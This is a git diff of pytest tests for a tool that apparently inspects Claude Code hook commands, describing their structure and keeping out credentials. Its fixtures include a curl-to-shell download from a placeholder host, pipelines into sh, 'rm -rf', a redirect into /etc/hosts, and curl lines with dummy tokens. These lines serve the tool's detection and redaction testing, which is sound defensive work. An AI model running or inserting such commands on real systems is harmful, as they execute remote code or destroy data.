".join(f"tool{index}" for index in range(MAX_SHAPE_COMMANDS + 5)) + shape = _shape(command)["shape"] + assert len(shape["commands"]) == MAX_SHAPE_COMMANDS and shape["commands_more"] == 5 + assert shape["statements"] == MAX_SHAPE_COMMANDS + 5 + + +SCRIPTS = [ + ("python3 .claude/hooks/guard.py --mode write", ".claude/hooks/guard.py"), + ("python -u ./scripts/guard.py", "./scripts/guard.py"), + ("node hooks/check.mjs", "hooks/check.mjs"), + ("bash scripts/run.sh -x", "scripts/run.sh"), + ("bin/lint.sh --fix", "bin/lint.sh"), + ("./hooks/lint.sh", "./hooks/lint.sh"), + ('"$CLAUDE_PROJECT_DIR"/.claude/hooks/lint.sh', "${CLAUDE_PROJECT_DIR}/.claude/hooks/lint.sh"), + ("${CLAUDE_PLUGIN_ROOT}/hooks/post.sh", "${CLAUDE_PLUGIN_ROOT}/hooks/post.sh"), + ("FOO=1 python3 hooks/a.py", "hooks/a.py"), + ("cd src && python3 tools/check.py", "tools/check.py"), + # No script: a path argument of a program that is not an interpreter, a path + # that leaves the repository or is absolute, a dynamic one. + ("grep -r x scripts/run.py", None), + ("cat scripts/run.sh | sh", None), + ("python3 ../outside.py", None), + ("python3 /opt/tools/run.py", None), + ("python3 $SCRIPT.py", None), + ("python3 -m pytest", None), + # A script path a redaction rule rewrites is not published; one beside a + # redacted value is, since the value is gone from the text it is read from. + ("python3 Bearer x.py", None), + ("python3 --token x.py", None), + (f"python3 --token {GITHUB_TOKEN} scripts/run.py", "scripts/run.py"), + (f"./{GENERATED_KEY}.sh", None), +] + + +@pytest.mark.parametrize(("command", "script"), SCRIPTS, ids=[c[0][:40] for c in SCRIPTS]) +def test_a_script_is_published_by_the_rule_args_use(command: str, script: str | None) -> None: + assert _shape(command)["shape"].get("script") == script + + +@pytest.mark.parametrize("shell", ["powershell", "pwsh", "/bin/zsh -l", 3]) +def test_a_shell_this_reader_does_not_describe_is_a_limit(shell: object) -> None: + assert _shape("Get-ChildItem | Select-Object Name", shell=shell)["shape_limit"] == "unsupported_shell" + assert "shape" not in _shape("lint", shell=shell) + + +@pytest.mark.parametrize("shell", ["bash", "sh", None]) +def test_bash_and_sh_are_described(shell: str | None) -> None: + assert "shape" in _shape("lint", shell=shell) + + +# --- the refusals ----------------------------------------------------------- + + +REFUSED = [ + "cat <(cat)", + "echo `date`", + 'echo "`date`"', + "echo $((1+2))", + "echo $'a\\nb'", + 'echo $"x"', + "case $x in a) b;; esac", + "f() { x; }", + "function f { x; }", + "coproc x", + "select x in a b; do y; done", + "echo 'unterminated", + 'echo "unterminated', + "echo $(unterminated", + "( unterminated", + "echo )", + "echo ${unterminated", + "echo ${a:-$(b)}", + "[[ unterminated", + "a ;; b", + "a=(1 2)", + "((i++))", + "run >", + "run > ;", + "run <>file", + "(( x ))", +] + + +@pytest.mark.parametrize("command", REFUSED, ids=[repr(c)[:40] for c in REFUSED]) +def test_a_form_outside_the_grammar_is_refused_whole(command: str) -> None: + published = _shape(command) + assert published["shape_limit"] == "unsupported_syntax" + assert "shape" not in published + with pytest.raises(UnsupportedCommand): + parse_command(command) + + +def test_a_command_longer_than_the_bound_is_too_long() -> None: + at_the_bound = _shape("a" * MAX_COMMAND_CHARS)["shape"] + assert (at_the_bound["statements"], at_the_bound["unnamed"]) == (1, 1) + assert _shape("a" * (MAX_COMMAND_CHARS + 1))["shape_limit"] == "too_long" + + +def test_nesting_and_word_bounds_are_refused_not_followed() -> None: + assert "shape" in _shape("( " * MAX_DEPTH + "a" + " )" * MAX_DEPTH) + assert _shape("( " * (MAX_DEPTH + 1) + "a" + " )" * (MAX_DEPTH + 1))["shape_limit"] == "unsupported_syntax" + assert _shape("echo $(" * (MAX_DEPTH + 1) + ")" * (MAX_DEPTH + 1))["shape_limit"] == "unsupported_syntax" + assert _shape("a " + " ".join("b" for _ in range(MAX_WORDS)))["shape_limit"] == "unsupported_syntax" + # An inline shell is followed two scripts deep and no further. + deep = "x" + for _ in range(4): + deep = "bash -c '" + deep.replace("'", "'\\''") + "'" + assert "shape" in _shape(deep) + + +# --- what is never published ------------------------------------------------ + + +def test_no_argument_quoted_string_url_or_absolute_path_is_published() -> None: + command = ( + "/opt/internal-tools/bin/deploy --target prod-cluster-canary " + "--note 'quoted-canary' https://hooks.example.invalid/path-canary?x=query-canary " + "> /var/log/absolute-canary.log" + ) + published = json.dumps(_shape(command)) + assert "canary" not in published and "internal-tools" not in published and "hooks.example" not in published + assert _shape(command)["shape"]["commands"] == ["deploy"] + + +@pytest.mark.parametrize("command", LEAK_COMMANDS, ids=[repr(c)[:30] for c in LEAK_COMMANDS]) +def test_every_command_an_earlier_cycle_leaked_from_publishes_no_secret(command: str) -> None: + published = json.dumps(_shape(command)).lower() + for secret in ("canary", GITHUB_TOKEN.lower(), GENERATED_KEY.lower()): + assert secret not in published + + +#: Credentials the string rule can leave at a command position, and shapes #987 withholds. +WITHHELD = [ + "curl --token \\\ncontinued-canary https://x.invalid", + "curl --token\ncontinued-canary https://x.invalid", + "curl -u \\\nadmin:continuedpw-canary https://x.invalid", + "curl -uuser:gluedu-canary https://x.invalid", + "curl --user admin:userpw-canary https://x.invalid", + "curl --user=admin:userpw-canary https://x.invalid", + "curl --proxy-user admin:proxypw-canary https://x.invalid", + 'curl -H "Authorization: Bearer bearer-canary" https://x.invalid', + 'curl -H "Authorization: Basic basic-canary" https://x.invalid', + 'curl -H "Authorization: Digest digest-canary" https://x.invalid', + "curl --password=pw-canary https://x.invalid", + "curl --password pw-canary https://x.invalid", + "tool --api-key=key-canary; next", + f"x; {GENERATED_KEY}", + f"x && {GITHUB_TOKEN}", + "x | http://user:pw-canary@host-canary.corp.internal/path-canary?token=query-canary", + "http://deploy:pw-canary@host-canary.corp.internal?token=query-canary x", + "echo hi; https://host-canary.example/path", +] + + +@pytest.mark.parametrize("command", WITHHELD, ids=[repr(c)[:40] for c in WITHHELD]) +def test_a_credential_shape_stays_withheld_from_the_shape(command: str) -> None: + published = json.dumps(_shape(command)).lower() + for secret in ("canary", GITHUB_TOKEN.lower(), GENERATED_KEY.lower()): + assert secret not in published + + +@pytest.mark.parametrize("name", [n for n in DIGEST_REDACTED_ROTATIONS if n.startswith("hook")]) +def test_rotating_a_withheld_credential_changes_no_shape_and_adds_no_row(tmp_path: Path, name: str) -> None: + """A shape is read from the text the digest holds, so what the digest withholds cannot move it.""" + + path, base, head = DIGEST_REDACTED_ROTATIONS[name] + old, new = (_hook_command(side["hooks"]["Stop"][0]["hooks"][0]["command"]) for side in (base, head)) + assert old == new + repo = _repository(tmp_path, {path: base}, {path: head}) + text, payload = _diff(repo) + assert payload["rows"] == [] and "canary" not in text + + +def test_a_rotated_credential_on_a_continued_line_is_still_a_row_that_names_no_credential(tmp_path: Path) -> None: + """The string rule leaves this value in the digest's input, so its rotation is a row; the shape names none of it.""" + + base, head = ( + f"curl --token \\\n{value} https://x.invalid" for value in ("first-canary", "second-canary") + ) + assert _shape(base)["shape"] == _shape(head)["shape"] + row = _row(tmp_path, base, head) + assert "canary" not in row + assert row.endswith(f"same programs and structure; the change is in an argument or in quoted text this output does not show, {OPEN})") + + +def test_a_generated_looking_token_is_not_named() -> None: + for token in (GENERATED_KEY, "Ab1" * 8, "0123456789abcdef0123456789abcdef01234567", "abcdefghij1234567890"): + shape = _shape(f"x; {token}")["shape"] + assert (shape["commands"], shape["unnamed"]) == (["x"], 1), token + # Shorter than the bound, or with a separator or no digit, it is named. + for name in ("xK9mQ2vL7pR4tW8nB", "my-hook-script-v2-final-2024", "a_long_script_name_2", "abcdefghijklmnopqrstuvwxyz"): + assert _shape(f"x; {name}")["shape"]["commands"] == ["x", name], name + # An ordinary long program name is still named. + assert _shape("x; check-all-the-things-before-commit")["shape"]["commands"] == [ + "x", "check-all-the-things-before-commit", + ] + + +# --- what a row says ------------------------------------------------------- + + +CHANGES = [ + # An added pipeline stage, a removed one, an added `&&` command and an added `;` command. + ("cat in | jq .", "cat in | jq . | sh", "programs +sh; simple commands 2 → 3; pipes 1 → 2"), + ("cat in | jq . | sh", "cat in | jq .", "programs -sh; simple commands 3 → 2; pipes 2 → 1"), + ("make", "make && curl -s x", "programs +curl; simple commands 1 → 2"), + ("make", "make; rm -rf build", "programs +rm; simple commands 1 → 2"), + # An added redirect and a moved one. + ("make", "make >> logs/make.log", "redirects +>> logs/make.log"), + ("make > a.log", "make > b.log", "redirects +> b.log, -> a.log"), + ("make >> out", "make >> /etc/hosts", "redirects +>> , ->> out"), + # A script path changed inside the repository, with the same program. + ( + "python3 .claude/hooks/guard-readonly.py", + "python3 .claude/hooks/guard-write.py", + "script .claude/hooks/guard-readonly.py → .claude/hooks/guard-write.py", + ), + ("bin/a/run.sh", "bin/b/run.sh", "script bin/a/run.sh → bin/b/run.sh"), + # One program replaced by another, which the executables already say. + ("lint", "curl", None), + # An added substitution, conditional and quoted string. + ("make", "make $(git rev-parse HEAD)", "programs +git; simple commands 1 → 2; command substitutions 0 → 1"), + ("make", "if make; then x; fi", "programs +x; simple commands 1 → 2; conditionals and loops 0 → 1"), + ("echo a", "echo 'a' 'b'", "same programs (echo); quoted strings 0 → 2"), +] + + +@pytest.mark.parametrize(("base", "head", "fact"), CHANGES, ids=[c[1][:40] for c in CHANGES]) +def test_a_row_names_the_shape_of_the_change(tmp_path: Path, base: str, head: str, fact: str | None) -> None: + row = _row(tmp_path, base, head) + if fact is None: + assert row.startswith("Stop: command changed (") and ";" not in row + return + assert fact in row + assert row.startswith("Stop: command changed (") and row.endswith(")") + + +def test_an_argument_edit_with_the_same_structure_says_to_open_the_config(tmp_path: Path) -> None: + row = _row(tmp_path, "npm test -- --coverage", "npm test -- --bail") + assert row == ( + f"Stop: command changed (npm {_digest('npm test -- --coverage')} → npm {_digest('npm test -- --bail')}; " + f"same programs and structure; the change is in an argument or in quoted text this output does not " + f"show, {OPEN})" + ) + + +@pytest.mark.parametrize( + ("base", "head", "reasons"), + [ + ("make", "cat < None: + row = _row(tmp_path, base, head) + assert f"; not described: {reasons}; the digest moved, {OPEN})" in row + assert row.startswith("Stop: command changed (") + + +def test_a_command_not_described_says_so_on_every_route(tmp_path: Path) -> None: + base, head = "make", "cat < None: + base = "cat in | jq ." + head = "cat in | jq . | sh >> logs/x.log" + repo = _repository(tmp_path, {SETTINGS: _stop(base)}, {SETTINGS: _stop(head)}) + change = ( + f"Stop: command changed (cat {_digest(base)} → cat {_digest(head)}; programs +sh; " + "simple commands 2 → 3; pipes 1 → 2; redirects +>> logs/x.log)" + ) + _every_route(repo, tmp_path / "out", change) + # `check` and `verify` carry the same row, severity and direction as `diff`. + boundary = _boundary(repo) + [row] = boundary["rows"] + assert (row["direction"], row["expands"], row["severity"], row["why"]) == ("changed", False, "high", UNSHOWN) + block, _summary, verifier = _verify(repo, tmp_path / "verify") + assert any(change in line for line in block) + [verified] = verifier["host_comparison"]["rows"] + assert (verified["direction"], verified["expands"]) == ("changed", False) + assert any(change in line for line in _check(repo)) + + +def test_an_added_and_a_removed_hook_list_what_their_command_is_made_of(tmp_path: Path) -> None: + command = "cat in | jq . | sh >> logs/x.log" + repo = _repository( + tmp_path, + {SETTINGS: {"hooks": {"Stop": [{"hooks": [{"type": "command", "command": "cat <> logs/x.log)))" + ) + assert _table_entry(text, "high removed claude-code .claude/settings.json")[1] == ( + f"Stop (command cat {_digest('cat < None: + repo = _repository( + tmp_path, + {SETTINGS: {"hooks": {"Stop": [{"hooks": [{"type": "command", "command": "npm test"}]}]}}}, + {SETTINGS: {"hooks": {"SessionEnd": [{"hooks": [{"type": "command", "command": "npm run lint"}]}]}}}, + ) + text, _ = _diff(repo) + assert _table_entry(text, "⚠ high added claude-code .claude/settings.json")[1] == ( + f"SessionEnd (command npm {_digest('npm run lint')})" + ) + + +def test_a_shell_setting_change_is_its_own_difference_and_leaves_the_command_unchanged(tmp_path: Path) -> None: + """The same command digest under a shell this reader does not describe: the shell is named, the command is not 'changed'.""" + + repo = _repository( + tmp_path, + {SETTINGS: _stop("make test", shell="bash")}, + {SETTINGS: _stop("make test", shell="powershell")}, + ) + text, _ = _diff(repo) + assert _table_entry(text, HOOK_HEADER)[1] == 'Stop: shell "bash" → "powershell"' + + +def test_several_handlers_name_which_command_changed(tmp_path: Path) -> None: + def hooks(second: str) -> dict: + return {"hooks": {"Stop": [{"hooks": [ + {"type": "command", "command": "make test"}, + {"type": "command", "command": second}, + ]}]}} + + repo = _repository(tmp_path, {SETTINGS: hooks("a | b")}, {SETTINGS: hooks("a | b | c")}) + text, _ = _diff(repo) + assert _table_entry(text, HOOK_HEADER)[1] == ( + f"Stop: handler 2 command changed (a {_digest('a | b')} → a {_digest('a | b | c')}; " + "programs +c; simple commands 2 → 3; pipes 1 → 2)" + ) + + +def test_a_digest_only_edit_is_told_apart_from_one_that_explains_itself(tmp_path: Path) -> None: + """The issue's second outcome: every changed command's row either explains or says to open the config.""" + + (tmp_path / "a").mkdir() + (tmp_path / "b").mkdir() + explained = _row(tmp_path / "a", "make", "make && curl x") + digest_only = _row(tmp_path / "b", "make -j2", "make -j4") + assert "programs +curl" in explained and OPEN not in explained + assert "same programs and structure" in digest_only and OPEN in digest_only + + +# --- the published schema --------------------------------------------------- + + +def test_the_schema_accepts_a_shape_and_a_limit_and_refuses_both(tmp_path: Path) -> None: + schema = json.loads((ROOT / "docs/host-grants-inventory-schema.v0.9.json").read_text(encoding="utf-8")) + repo = _repository( + tmp_path, + {SETTINGS: {"hooks": {"Stop": [{"hooks": [{"type": "command", "command": "make"}]}]}}}, + {SETTINGS: {"hooks": {"Stop": [{"hooks": [ + {"type": "command", "command": "a | b > c.log"}, + {"type": "command", "command": "cat < None: + cases = [ + "a " * (MAX_COMMAND_CHARS // 2), + "a | " * (MAX_COMMAND_CHARS // 4), + "'" * 2 + "x" * (MAX_COMMAND_CHARS - 4), + "${" * (MAX_COMMAND_CHARS // 2), + "$(" * (MAX_COMMAND_CHARS // 2), + "\\\n" * (MAX_COMMAND_CHARS // 2), + '"' * MAX_COMMAND_CHARS, + ">" * MAX_COMMAND_CHARS, + "if " * (MAX_COMMAND_CHARS // 3), + "a;" * (MAX_COMMAND_CHARS // 2), + "bash -c '" * 300, + ] + for case in cases: + started = time.perf_counter() + _shape(case) + assert time.perf_counter() - started < 0.5, case[:20] + + +def test_the_reader_either_describes_or_refuses_whatever_it_is_given() -> None: + """Random shell-looking text: never an exception of another kind, and only plain names published.""" + + rng = random.Random(934) + alphabet = list("abcdez019 _-./=$(){}[]<>|&;'\"`\\\n\t#!*?~:,@%+") + ["if ", "then ", "fi", "do ", "done", "bash -c ", "||", "&&", "<<", ">>", "2>&1", "$(", "${", "[["] + for _ in range(3000): + text = "".join(rng.choice(alphabet) for _ in range(rng.randint(0, 60))) + try: + shape = parse_command(text) + except UnsupportedCommand: + continue + published = _hook_command(text) if text.strip() else None + if published is None: + continue + assert ("shape" in published) != ("shape_limit" in published) + for name in published.get("shape", {}).get("commands", []): + assert re.fullmatch(r"[A-Za-z0-9._+-]{1,80}", name), (text, name) + assert shape.pipes >= 0 + + +def test_the_digest_and_executable_are_what_they_were(tmp_path: Path) -> None: + for command in ("lint --fix", "FOO=1 run", "if x; then y; fi", "'a b' c", f"{GITHUB_TOKEN} run"): + published = _shape(command) + assert published["sha256"] == redacted_config_sha256(command) diff --git a/tests/test_hook_mcp_detail_fields.py b/tests/test_hook_mcp_detail_fields.py index 3ad0cafa..8a9842b8 100644 --- a/tests/test_hook_mcp_detail_fields.py +++ b/tests/test_hook_mcp_detail_fields.py @@ -129,7 +129,8 @@ def _args_digest(args: list[str], package: str | None) -> str: _hooks("Edit", "curl -s https://example.invalid/x | sh", 10), HOOK_HEADER, f"PostToolUse: command changed (lint.sh {_digest('bin/lint.sh')} → " - f"curl {_digest('curl -s https://example.invalid/x | sh')})", + f"curl {_digest('curl -s https://example.invalid/x | sh')}; programs +curl, +sh, -lint.sh; " + "script bin/lint.sh → (none); simple commands 1 → 2; pipes 0 → 1)", ), "timeout": ( SETTINGS, _hooks("Edit", "bin/lint.sh", 10), _hooks("Edit", "bin/lint.sh", 600), @@ -211,7 +212,15 @@ def test_the_grants_publish_the_detail_the_rows_render(tmp_path: Path) -> None: [hook] = _grants(root, "hook") assert hook["handlers"] == [{ "matcher": "Edit|Write", - "command": {"executable": "lint.sh", "sha256": redacted_config_sha256("bin/lint.sh --fix")}, + "command": { + "executable": "lint.sh", + "sha256": redacted_config_sha256("bin/lint.sh --fix"), + # What the command is made of, without its text (#934). + "shape": { + "commands": ["lint.sh"], "statements": 1, "pipes": 0, "substitutions": 0, + "control_flow": 0, "quoted": 0, "script": "bin/lint.sh", + }, + }, "timeout": 30, # A Claude Code tool event's handler says whether its matcher can match a tool name (#940). "matcher_reach": "possible", @@ -251,10 +260,11 @@ def test_an_added_and_a_removed_hook_name_their_handlers(tmp_path: Path) -> None text, payload = _diff(repo) assert _table_entry(text, "⚠ high added claude-code .claude/settings.json")[1] == ( - f"SessionEnd (command cleanup.sh {_digest('bin/cleanup.sh')})" + f"SessionEnd (command cleanup.sh {_digest('bin/cleanup.sh')} (script bin/cleanup.sh))" ) assert _table_entry(text, "high removed claude-code .claude/settings.json")[1] == ( - f"PostToolUse (matcher Edit; command lint.sh {_digest('bin/lint.sh')}; timeout 10) → gone" + f"PostToolUse (matcher Edit; command lint.sh {_digest('bin/lint.sh')} (script bin/lint.sh); " + "timeout 10) → gone" ) assert sorted((row["before"], row["after"]) for row in payload["rows"]) == [ ("PostToolUse", "—"), ("—", "SessionEnd"), @@ -281,7 +291,7 @@ def hooks(timeout: int) -> dict: # One more handler on the event is an added hook, so it widens (#820). ( "added", added, "⚠ high widened claude-code .claude/settings.json", - f"PreToolUse: +handler (matcher Write, command scan.sh {_digest('bin/scan.sh')})", + f"PreToolUse: +handler (matcher Write, command scan.sh {_digest('bin/scan.sh')} (script bin/scan.sh))", ), ): (tmp_path / name).mkdir() @@ -333,8 +343,10 @@ def test_a_reorder_with_a_command_edit_past_the_old_word_bound_names_both_comman head = _pre_tool_use({"type": "command", "command": "bin/lint.sh"}, {"type": "command", "command": evil}) repo = _repository(tmp_path, {SETTINGS: base}, {SETTINGS: head}) change = ( - f"PreToolUse: handler 1 command changed (tool {_digest(safe)} → lint.sh {_digest('bin/lint.sh')}); " - f"handler 2 command changed (lint.sh {_digest('bin/lint.sh')} → tool {_digest(evil)})" + f"PreToolUse: handler 1 command changed (tool {_digest(safe)} → lint.sh {_digest('bin/lint.sh')}; " + "script (none) → bin/lint.sh); " + f"handler 2 command changed (lint.sh {_digest('bin/lint.sh')} → tool {_digest(evil)}; " + "script bin/lint.sh → (none))" ) _every_route(repo, tmp_path / "out", change) assert "different order" not in _diff(repo)[0] @@ -637,7 +649,9 @@ def test_a_rotated_value_the_display_never_redacted_is_still_a_row(tmp_path: Pat text, payload = _diff(repo) executable = "a.sh" assert _table_entry(text, HOOK_HEADER)[1] == ( - f"Stop: command changed ({executable} {_digest(before)} → {executable} {_digest(after)})" + f"Stop: command changed ({executable} {_digest(before)} → {executable} {_digest(after)}; " + "same programs and structure; the change is in an argument or in quoted text this " + "output does not show, open the config to read the change)" ), name assert len(payload["rows"]) == 1 _assert_no_secret([text, json.dumps(payload)]) @@ -730,7 +744,11 @@ def test_a_value_the_digest_already_redacts_stays_quiet_as_before(tmp_path: Path def test_the_executable_is_a_plain_token_or_not_named(command: str, executable: str) -> None: from agents_shipgate.core.host_grants import _hook_command - assert _hook_command(command) == {"executable": executable, "sha256": redacted_config_sha256(command)} + published = _hook_command(command) + # The shape (#934) is pinned in tests/test_hook_command_shape.py. + assert {key: published[key] for key in ("executable", "sha256")} == { + "executable": executable, "sha256": redacted_config_sha256(command), + } @pytest.mark.parametrize( @@ -852,7 +870,8 @@ def handlers(count: int) -> dict: last = f"bin/h{MAX_HOOK_HANDLERS - 1}.sh" text, _ = _diff(repo) assert _table_entry(text, HOOK_HEADER)[1] == ( - f"PostToolUse: -handler (matcher Edit, command h{MAX_HOOK_HANDLERS - 1}.sh {_digest(last)}); " + f"PostToolUse: -handler (matcher Edit, command h{MAX_HOOK_HANDLERS - 1}.sh {_digest(last)} " + f"(script {last})); " f"handlers past the first {MAX_HOOK_HANDLERS}: 1 → 0" ) @@ -1587,7 +1606,7 @@ def test_one_side_outside_the_documented_shape_names_that_side_and_lists_the_oth f"PostToolUse: {side} matcher, command, args, timeout and settings not shown (the " f"declaration is not a list of matcher groups whose hooks are objects and whose commands are strings); {other} " f"(matcher Edit; command a.sh " - f"{_digest('bin/a.sh')}; timeout 10)" + f"{_digest('bin/a.sh')} (script bin/a.sh); timeout 10)" ) _every_route(repo, tmp_path / "out", change) text, payload = _diff(repo)